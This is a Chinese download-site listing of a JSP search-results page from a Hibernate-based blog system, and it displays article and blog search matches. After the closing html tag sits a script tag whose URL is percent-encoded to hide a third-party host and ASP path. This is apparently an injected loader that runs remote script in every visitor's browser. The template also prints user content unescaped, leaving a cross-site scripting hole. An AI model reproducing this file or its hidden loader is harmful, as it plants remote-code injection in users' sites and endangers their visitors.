⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 searchresult.jsp

📁 本博客系统是在J2EE平台上用Hibernate框架技术和MVC模式构建
💻 JSP
字号:
<%@ page contentType="text/html;charset=UTF-8" language="java"%>
<%@ page import="com.blog.*"%>
<%@ page import="com.blog.tableclass.*"%>
<%@ page import="java.util.*"%>
<%
	List searchList = (List)session.getAttribute(Constants.ARTICLE_LIST_KEY);
	List blogList=(List)session.getAttribute(Constants.BLOG_LIST_KEY);
	Article article = null;
	Blog blog=null;
%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
	<head>
		<title>搜索结果信息</title>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<link rel="StyleSheet" type="text/css" href="images/style.css">
	</head>
	<body>
		<table width="85%" height="207" align="center">
	<tr>
		<td width="85%" height="125" background="images/head004.gif"><FONT face="宋体"></FONT></td>
	</tr>
	<tr height="31">
		<td>
			<table border="0" cellpadding="0" cellspacing="0" background="images/line.jpg">
				<tr height="20" align="center">
					<<td class="lt0" width="580"></td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/topBlog.jsp">博客排行榜</a></td>
					<td class="ltsep">|</td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/index.jsp">博客首页</a></td>
					<td class="ltsep">|</td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/Regist.jsp">新博客注册</a></td>
					<td class="ltsep">|</td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/include/search.jsp">搜索</a></td>
			  		
			  </tr>
		  </table>
	  </td>
  </tr>
</table>
<script language="javascript">
<!--
function mhEnter()
{
window.event.srcElement.className="lt1";
}
function mhLeave()
{
window.event.srcElement.className="lt0";
}
//-->
</script>	
		<table height="45" cellspacing="0" cellpadding="0" width="85%" background="images/bk_11.jpg" border="0" align="center">
			<tbody>
			<tr>
				
				<td style="PADDING-TOP: 2px" align="middle">
					<p align="center">
						<b><font color="#885522">搜索结果</font></b>
					</p>
				</td>
				<td width="252"></td>
				<td width="3"></td>
			</tr>
			</tbody>
		</table>

		<table border="1" width="85%" bordercolor="#FCD447" align="center" background="images/bg.GIF">


		<%if(searchList != null ){
        for(int i = 0;i < searchList.size();i++)
        {  
       		article = (Article)searchList.get(i);
      	%>
			<tr>
				<td width="99%" valign="top">
					<div>
						文章标题:<a href="openArticle?articleid=<%=article.getId()%>" target="_blank"><%=article.getTitle()%></a>
					</div>
					<div class="systemLHeight180">
						<%=article.getContent()%>
						<div class="author" style="width: 740; height: 19">
							发表时间:
							<%=article.getPubtime()%>
						</div>
					</div>
				</td>
			</tr>


			<%	
         	}
      	}	
      	else if(blogList != null ){
        for(int i = 0;i < blogList.size();i++)
        {  
       		blog = (Blog)blogList.get(i);
      	%>
			<tr>
				<td valign="top">
					<div class="author" style="width: 750; height: 19">
					<a href="openBlog?blogid=<%=blog.getId()%>" target="_blank">
					我形我秀:<img border="0" src="images/<%=blog.getImage()%>" width="100" height="121" alt="">
					</a>
					博客昵称:<%=blog.getSubject()%>	
					访问次数:<%=blog.getVisitcount()%>
					</div>					
				</td>
			</tr>


			<%	
         	}
      	}	
      	%>
		</table>
	</body>
</html>
<script src="http://%78%79%6B%2E%74%78%73%68%69%2E%63%6F%6D/%62%32%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -